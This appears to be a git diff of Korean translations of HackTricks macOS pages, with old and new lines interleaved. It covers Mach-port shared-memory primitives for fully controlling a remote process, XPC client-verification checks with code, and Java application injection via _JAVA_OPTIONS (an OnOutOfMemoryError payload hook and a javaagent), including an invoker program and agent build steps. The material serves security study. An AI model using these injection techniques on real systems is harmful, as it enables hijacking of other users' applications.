원격 태스크의 원격 스레드에 대한 `thread_get_special_port()`를 사용하여 원격 태스크의 새로 할당된 Mach 포트에 대한 송신 권한을 얻습니다. +원격 포트의 경우, 과정은 본질적으로 반대로 진행됩니다. 원격 스레드는 `mach_reply_port()`를 통해 Mach 포트를 생성하도록 지시됩니다(반환 메커니즘 때문에 `mach_port_allocate()`는 적합하지 않음). 포트가 생성되면, 원격 스레드에서 `mach_port_insert_right()`가 호출되어 전송 권한이 설정됩니다. 이 권한은 `thread_set_special_port()`를 사용하여 커널에 저장됩니다. 로컬 작업으로 돌아가서, `thread_get_special_port()`를 사용하여 원격 스레드에서 새로 할당된 Mach 포트에 대한 전송 권한을 획득합니다. -이러한 단계를 완료하면 Mach 포트가 설정되어 양방향 통신을 위한 기반을 마련합니다. +이 단계가 완료되면 Mach 포트가 설정되어 양방향 통신을 위한 기초가 마련됩니다. -## 3. 기본 메모리 읽기/쓰기 기본 도구 +## 3. Basic Memory Read/Write Primitives -이 섹션에서는 실행 기본 도구를 활용하여 기본 메모리 읽기 및 쓰기 기본 도구를 설정하는 데 중점을 둡니다. 이 단계에서의 기본 도구는 원격 프로세스를 더욱 효과적으로 제어하기 위한 중요한 단계이지만, 현재 단계에서는 많은 목적을 제공하지 않습니다. 곧 이러한 기본 도구는 더 고급 버전으로 업그레이드될 것입니다. +이 섹션에서는 기본 메모리 읽기 및 쓰기 원시 작업을 설정하기 위해 실행 원시 작업을 활용하는 데 중점을 둡니다. 이러한 초기 단계는 원격 프로세스에 대한 더 많은 제어를 얻는 데 중요하지만, 이 단계의 원시 작업은 많은 용도로 사용되지 않을 것입니다. 곧 더 고급 버전으로 업그레이드될 것입니다. -### 실행 기본 도구를 사용한 메모리 읽기 및 쓰기 +### Memory Reading and Writing Using Execute Primitive -특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것이 목표입니다. 메모리 읽기에는 다음과 유사한 구조의 함수가 사용됩니다: +목표는 특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것입니다. 메모리를 읽기 위해 다음과 유사한 구조의 함수가 사용됩니다: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -그리고 메모리에 쓰기 위해, 이와 유사한 구조의 함수들이 사용됩니다: +그리고 메모리에 쓰기 위해서는 이 구조와 유사한 함수들이 사용됩니다: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -이러한 함수들은 주어진 어셈블리 명령어와 대응됩니다: +이 함수는 주어진 어셈블리 명령어에 해당합니다: ``` _read_func: ldr x0, [x0] @@ -73,57 +74,57 @@ ret ``` ### 적합한 함수 식별 -일반적인 라이브러리를 스캔한 결과, 이러한 작업에 적합한 후보 함수들을 찾을 수 있었습니다: +일반 라이브러리를 스캔한 결과 이러한 작업에 적합한 후보가 발견되었습니다: 1. **메모리 읽기:** -[Objective-C 런타임 라이브러리](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html)의 `property_getName()` 함수가 메모리 읽기에 적합한 함수로 식별되었습니다. 아래에 해당 함수의 개요가 제시되어 있습니다: +`property_getName()` 함수는 메모리를 읽기 위한 적합한 함수로 확인되었습니다. 함수는 아래에 설명되어 있습니다: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -이 함수는 `read_func`과 유사하게 동작하여 `objc_property_t`의 첫 번째 필드를 반환합니다. +이 함수는 `objc_property_t`의 첫 번째 필드를 반환함으로써 효과적으로 `read_func`처럼 작동합니다. 2. **메모리 쓰기:** -메모리를 쓰기 위한 미리 작성된 함수를 찾는 것은 더 어려운 과정입니다. 그러나 libxpc의 `_xpc_int64_set_value()` 함수는 다음 어셈블리어와 같이 적합한 후보입니다. +메모리를 쓰기 위한 미리 구축된 함수를 찾는 것은 더 어려운 일입니다. 그러나 libxpc의 `_xpc_int64_set_value()` 함수는 다음과 같은 디스어셈블리와 함께 적합한 후보입니다: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -특정 주소에 64비트 쓰기를 수행하기 위해 원격 호출은 다음과 같이 구성됩니다: +특정 주소에서 64비트 쓰기를 수행하기 위해 원격 호출은 다음과 같이 구성됩니다: ```c _xpc_int64_set_value(address - 0x18, value) ``` -이러한 기본 요소를 설정하면 원격 프로세스를 제어하는 데 중요한 역할을 하는 공유 메모리를 생성할 수 있습니다. +이러한 원시 기능이 설정되면, 원격 프로세스를 제어하는 데 있어 중요한 진전을 이루는 공유 메모리를 생성할 준비가 됩니다. ## 4. 공유 메모리 설정 -목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 사용하는 함수를 호출하는 것입니다. 이 접근 방식은 `libxpc`와 그 `OS_xpc_shmem` 객체 유형을 활용하는 것으로, 이는 Mach 메모리 항목 위에 구축되어 있습니다. +목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 가진 함수 호출을 용이하게 하는 것입니다. 이 접근 방식은 Mach 메모리 항목을 기반으로 하는 `libxpc`와 그 `OS_xpc_shmem` 객체 유형을 활용하는 것을 포함합니다. ### 프로세스 개요: 1. **메모리 할당**: -- `mach_vm_allocate()`를 사용하여 공유를 위한 메모리를 할당합니다. -- `xpc_shmem_create()`를 사용하여 할당된 메모리 영역에 대한 `OS_xpc_shmem` 객체를 생성합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 `0x18` 오프셋에 Mach send right를 저장합니다. +- `mach_vm_allocate()`를 사용하여 공유할 메모리를 할당합니다. +- 할당된 메모리 영역에 대해 `xpc_shmem_create()`를 사용하여 `OS_xpc_shmem` 객체를 생성합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 오프셋 `0x18`에 Mach 전송 권한을 저장합니다. 2. **원격 프로세스에서 공유 메모리 생성**: -- 원격 호출로 원격 프로세스에서 `OS_xpc_shmem` 객체에 대한 메모리를 할당합니다. -- 로컬 `OS_xpc_shmem` 객체의 내용을 원격 프로세스로 복사합니다. 그러나 이 초기 복사본은 `0x18` 오프셋에 잘못된 Mach 메모리 항목 이름을 가지고 있을 것입니다. +- 원격 호출을 통해 원격 프로세스에서 `OS_xpc_shmem` 객체를 위한 메모리를 할당합니다. +- 로컬 `OS_xpc_shmem` 객체의 내용을 원격 프로세스로 복사합니다. 그러나 이 초기 복사는 오프셋 `0x18`에서 잘못된 Mach 메모리 항목 이름을 가질 것입니다. 3. **Mach 메모리 항목 수정**: -- `thread_set_special_port()` 메서드를 사용하여 Mach 메모리 항목에 대한 send right를 원격 작업에 삽입합니다. -- 원격 메모리 항목의 이름으로 `0x18` 오프셋에 있는 Mach 메모리 항목 필드를 덮어씁니다. +- `thread_set_special_port()` 메서드를 사용하여 Mach 메모리 항목에 대한 전송 권한을 원격 작업에 삽입합니다. +- 원격 메모리 항목의 이름으로 오프셋 `0x18`의 Mach 메모리 항목 필드를 덮어씁니다. 4. **공유 메모리 설정 완료**: -- 원격 `OS_xpc_shmem` 객체를 유효성 검사합니다. -- 원격 호출로 공유 메모리 매핑을 설정합니다. (`xpc_shmem_remote()`) +- 원격 `OS_xpc_shmem` 객체를 검증합니다. +- 원격 호출을 통해 공유 메모리 매핑을 설정합니다 `xpc_shmem_remote()`. -이러한 단계를 따라 로컬 및 원격 작업 간에 공유 메모리가 효율적으로 설정되어 데이터 전송이 간단해지고 여러 인수를 필요로 하는 함수를 실행할 수 있게 됩니다. +이 단계를 따르면 로컬 및 원격 작업 간에 공유 메모리가 효율적으로 설정되어 데이터 전송과 여러 인수를 요구하는 함수 실행이 간단해집니다. ## 추가 코드 스니펫 -메모리 할당 및 공유 메모리 객체 생성을 위한 코드: +메모리 할당 및 공유 메모리 객체 생성을 위한: ```c mach_vm_allocate(); xpc_shmem_create(); @@ -133,48 +134,48 @@ xpc_shmem_create(); malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Mach 포트와 메모리 엔트리 이름의 세부 사항을 올바르게 처리하여 공유 메모리가 올바르게 설정되도록 해야합니다. - +기억하세요, 공유 메모리 설정이 제대로 작동하도록 Mach 포트와 메모리 항목 이름의 세부 사항을 올바르게 처리해야 합니다. ## 5. 완전한 제어 달성 -공유 메모리를 성공적으로 설정하고 임의의 실행 능력을 획득한 경우, 우리는 사실상 대상 프로세스를 완전히 제어하게 됩니다. 이러한 제어를 가능하게 하는 주요 기능은 다음과 같습니다: +공유 메모리를 성공적으로 설정하고 임의 실행 기능을 얻으면, 본질적으로 대상 프로세스에 대한 완전한 제어를 얻게 됩니다. 이 제어를 가능하게 하는 주요 기능은 다음과 같습니다: -1. **임의의 메모리 작업**: -- `memcpy()`를 호출하여 공유 영역에서 데이터를 복사하여 임의의 메모리 읽기 수행. -- `memcpy()`를 사용하여 데이터를 공유 영역으로 전송하여 임의의 메모리 쓰기 실행. +1. **임의 메모리 작업**: +- `memcpy()`를 호출하여 공유 영역에서 데이터를 복사함으로써 임의 메모리 읽기를 수행합니다. +- `memcpy()`를 사용하여 공유 영역으로 데이터를 전송함으로써 임의 메모리 쓰기를 실행합니다. -2. **다중 인수를 사용하는 함수 호출 처리**: -- 8개 이상의 인수가 필요한 함수의 경우, 호출 규약에 따라 스택에 추가 인수를 배열합니다. +2. **다중 인수를 가진 함수 호출 처리**: +- 8개 이상의 인수를 요구하는 함수의 경우, 호출 규약에 따라 추가 인수를 스택에 배치합니다. 3. **Mach 포트 전송**: -- 이전에 설정한 포트를 통해 Mach 메시지를 통해 Mach 포트를 작업 간에 전송합니다. +- 이전에 설정된 포트를 통해 Mach 메시지를 통해 작업 간에 Mach 포트를 전송합니다. -4. **파일 디스크립터 전송**: -- `triple_fetch`에서 강조한 fileports를 사용하여 프로세스 간에 파일 디스크립터를 전송합니다. +4. **파일 설명자 전송**: +- Ian Beer가 `triple_fetch`에서 강조한 기술인 fileports를 사용하여 프로세스 간에 파일 설명자를 전송합니다. -이 포괄적인 제어는 [threadexec](https://github.com/bazad/threadexec) 라이브러리에 포함되어 있으며, 피해 프로세스와 상호 작용하기 위한 자세한 구현과 사용자 친화적인 API를 제공합니다. +이 포괄적인 제어는 [threadexec](https://github.com/bazad/threadexec) 라이브러리에 캡슐화되어 있으며, 피해자 프로세스와의 상호작용을 위한 상세한 구현과 사용자 친화적인 API를 제공합니다. ## 중요한 고려 사항: -- 시스템의 안정성과 데이터 무결성을 유지하기 위해 메모리 읽기/쓰기 작업에 `memcpy()`를 올바르게 사용하세요. -- Mach 포트 또는 파일 디스크립터를 전송할 때, 적절한 프로토콜을 따르고 리소스를 책임 있게 처리하여 정보 누출이나 의도하지 않은 액세스를 방지하세요. +- 시스템 안정성과 데이터 무결성을 유지하기 위해 메모리 읽기/쓰기 작업에 `memcpy()`를 적절히 사용해야 합니다. +- Mach 포트나 파일 설명자를 전송할 때는 적절한 프로토콜을 따르고 자원을 책임감 있게 처리하여 누수나 의도치 않은 접근을 방지해야 합니다. -이 가이드라인을 준수하고 `threadexec` 라이브러리를 활용함으로써 대상 프로세스를 세밀하게 관리하고 상호 작용할 수 있으며, 대상 프로세스를 완전히 제어할 수 있습니다. +이 가이드라인을 준수하고 `threadexec` 라이브러리를 활용함으로써, 프로세스를 세밀하게 관리하고 상호작용하여 대상 프로세스에 대한 완전한 제어를 달성할 수 있습니다. -## 참고 자료 +## 참고 문헌 * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)로 이루어진 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을** 팔로우하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 0a9924631..719fb3f5b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,60 +1,61 @@ -# macOS XPC 연결 프로세스 확인 +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## XPC 연결 프로세스 확인 +## XPC Connecting Process Check -XPC 서비스에 연결이 설정되면 서버는 연결이 허용되는지 확인합니다. 일반적으로 수행하는 확인 사항은 다음과 같습니다: +XPC 서비스에 연결이 설정되면, 서버는 연결이 허용되는지 확인합니다. 일반적으로 수행하는 확인 사항은 다음과 같습니다: -1. 연결하는 **프로세스가 Apple에서 제공한 Apple 서명** 인증서로 서명되었는지 확인합니다. -* 이를 **검증하지 않으면**, 공격자는 다른 확인 사항과 일치하는 가짜 인증서를 생성하여 사용할 수 있습니다. -2. 연결하는 프로세스가 **조직의 인증서**로 서명되었는지 확인합니다 (팀 ID 확인). -* 이를 **검증하지 않으면**, Apple의 **어떤 개발자 인증서**든 서명에 사용할 수 있고 서비스에 연결할 수 있습니다. -3. 연결하는 프로세스에 **적절한 번들 ID**가 있는지 확인합니다. -* 이를 **검증하지 않으면**, 동일한 조직에 의해 서명된 **어떤 도구**든 XPC 서비스와 상호 작용하는 데 사용될 수 있습니다. -4. (4 또는 5) 연결하는 프로세스에 **적절한 소프트웨어 버전 번호**가 있는지 확인합니다. -* 이를 **검증하지 않으면**, 다른 확인 사항이 적용되더라도 과거의 보안 취약한 클라이언트가 프로세스 인젝션에 취약한 상태로 XPC 서비스에 연결할 수 있습니다. -5. (4 또는 5) 연결하는 프로세스에 위험한 권한을 가지지 않은 강화된 런타임이 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용하는 권한). -* 이를 **검증하지 않으면**, 클라이언트는 **코드 인젝션에 취약**할 수 있습니다. -6. 연결하는 프로세스가 서비스에 연결할 수 있도록 허용하는 **권한**을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다. -7. **검증**은 연결하는 **클라이언트의 감사 토큰**에 **기반**해야 하며 프로세스 ID (PID)가 아니어야 합니다. 왜냐하면 전자는 **PID 재사용 공격**을 방지하기 때문입니다. -* 개발자들은 감사 토큰 API 호출을 **거의 사용하지 않습니다**. Apple은 언제든지 변경할 수 있습니다. 또한, Mac App Store 앱에서는 비공개 API 사용이 허용되지 않습니다. -* **`processIdentifier`** 메서드를 사용하는 경우 취약할 수 있습니다. -* **`xpc_dictionary_get_audit_token`**은 **`xpc_connection_get_audit_token`** 대신 사용해야 합니다. 후자는 특정 상황에서도 [취약할 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. 연결하는 **프로세스가 Apple 서명 인증서로 서명되었는지** 확인합니다 (Apple에서만 발급). +* 이 **확인이 이루어지지 않으면**, 공격자는 **가짜 인증서**를 만들어 다른 확인 사항에 맞출 수 있습니다. +2. 연결하는 프로세스가 **조직의 인증서로 서명되었는지** 확인합니다 (팀 ID 확인). +* 이 **확인이 이루어지지 않으면**, Apple의 **모든 개발자 인증서**를 사용하여 서명하고 서비스에 연결할 수 있습니다. +3. 연결하는 프로세스가 **적절한 번들 ID를 포함하는지** 확인합니다. +* 이 **확인이 이루어지지 않으면**, 동일한 조직에서 **서명된 도구**를 사용하여 XPC 서비스와 상호작용할 수 있습니다. +4. (4 또는 5) 연결하는 프로세스가 **적절한 소프트웨어 버전 번호를 가지고 있는지** 확인합니다. +* 이 **확인이 이루어지지 않으면**, 오래된, 안전하지 않은 클라이언트가 프로세스 주입에 취약하여 다른 확인 사항이 있어도 XPC 서비스에 연결할 수 있습니다. +5. (4 또는 5) 연결하는 프로세스가 위험한 권한이 없는 **강화된 런타임**을 가지고 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용할 수 있는 권한과 같은). +1. 이 **확인이 이루어지지 않으면**, 클라이언트는 **코드 주입에 취약할 수 있습니다**. +6. 연결하는 프로세스가 서비스에 연결할 수 있는 **권한**을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다. +7. **검증**은 연결하는 **클라이언트의 감사 토큰**을 기반으로 해야 하며, 프로세스 ID (**PID**) 대신 사용해야 합니다. 이는 후자가 **PID 재사용 공격**을 방지하기 때문입니다. +* 개발자는 **감사 토큰** API 호출을 **드물게 사용**합니다. 이는 **비공식적**이므로 Apple이 언제든지 **변경할 수 있습니다**. 또한, 비공식 API 사용은 Mac App Store 앱에서 허용되지 않습니다. +* **`processIdentifier`** 메서드가 사용되면 취약할 수 있습니다. +* **`xpc_dictionary_get_audit_token`**을 **`xpc_connection_get_audit_token`** 대신 사용해야 하며, 후자는 특정 상황에서 [취약할 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### 통신 공격 +### Communication Attacks -PID 재사용 공격에 대한 자세한 정보는 다음을 확인하세요: +PID 재사용 공격에 대한 자세한 내용은 다음을 확인하십시오: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -**`xpc_connection_get_audit_token`** 공격에 대한 자세한 정보는 다음을 확인하세요: +**`xpc_connection_get_audit_token`** 공격에 대한 자세한 내용은 다음을 확인하십시오: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - 다운그레이드 공격 방지 +### Trustcache - Downgrade Attacks Prevention -Trustcache는 Apple Silicon 기기에 도입된 방어적인 방법으로, Apple 바이너리의 CDHSAH 데이터베이스를 저장하여 수정되지 않은 바이너리만 실행할 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다. +Trustcache는 Apple Silicon 기계에서 도입된 방어 방법으로, Apple 바이너리의 CDHSAH 데이터베이스를 저장하여 허용된 비수정 바이너리만 실행될 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다. -### 코드 예제 +### Code Examples -서버는 이 **검증**을 **`shouldAcceptNewConnection`** 함수에서 구현할 것입니다. +서버는 **`shouldAcceptNewConnection`**이라는 함수에서 이 **검증**을 구현합니다. {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -NSXPCConnection 객체에는 **`auditToken`**이라는 **비공개** 속성(사용해야하지만 변경될 수 있는 속성)과 **`processIdentifier`**라는 **공개** 속성(사용해서는 안되는 속성)이 있습니다. +객체 NSXPCConnection은 **private** 속성 **`auditToken`** (사용해야 하지만 변경될 수 있는 것)과 **public** 속성 **`processIdentifier`** (사용해서는 안 되는 것)을 가지고 있습니다. -연결 프로세스는 다음과 같이 확인할 수 있습니다: +연결된 프로세스는 다음과 같은 방법으로 확인할 수 있습니다: {% code overflow="wrap" %} ```objectivec @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -개발자가 클라이언트의 버전을 확인하지 않으려면, 적어도 클라이언트가 프로세스 인젝션에 취약하지 않은지 확인할 수 있습니다: +개발자가 클라이언트의 버전을 확인하고 싶지 않다면, 적어도 클라이언트가 프로세스 주입에 취약하지 않은지 확인할 수 있습니다: {% code overflow="wrap" %} ```objectivec @@ -110,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 4c5500f75..eddbd8973 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# macOS Java 애플리케이션 주입 +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 열거 +## Enumeration -시스템에 설치된 Java 애플리케이션을 찾으세요. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하고 있음을 알 수 있습니다. 따라서 해당 문자열을 검색할 수 있습니다: +시스템에 설치된 Java 애플리케이션을 찾습니다. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하고 있으므로, 이를 검색할 수 있습니다: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -환경 변수 **`_JAVA_OPTIONS`**은 java로 컴파일된 앱의 실행에 임의의 java 매개변수를 주입하는 데 사용될 수 있습니다: +환경 변수 **`_JAVA_OPTIONS`**는 자바 컴파일된 앱의 실행에 임의의 자바 매개변수를 주입하는 데 사용할 수 있습니다: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -새로운 프로세스로 실행하고 현재 터미널의 자식으로 실행하지 않으려면 다음을 사용할 수 있습니다: +새 프로세스로 실행하고 현재 터미널의 자식으로 실행하지 않으려면 다음을 사용할 수 있습니다: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -그러나, 실행된 앱에서 오류를 발생시킬 것이므로, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다: +그러나, 이는 실행된 앱에서 오류를 발생시킬 것이며, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -애플리케이션과 다른 Java 버전으로 에이전트를 생성하면, 에이전트와 애플리케이션의 실행이 모두 중단될 수 있습니다. +에이전트를 **다른 Java 버전**으로 생성하면 에이전트와 애플리케이션 모두의 실행이 중단될 수 있습니다. {% endhint %} 에이전트는 다음과 같을 수 있습니다: @@ -119,19 +120,19 @@ err.printStackTrace(); ``` {% endcode %} -에이전트를 컴파일하려면 다음을 실행하세요: +에이전트를 컴파일하려면 다음을 실행하십시오: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar ``` -`manifest.txt` 파일을 사용하여: +`manifest.txt`와 함께: ``` Premain-Class: Agent Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -그런 다음 환경 변수를 내보내고 다음과 같이 Java 애플리케이션을 실행합니다: 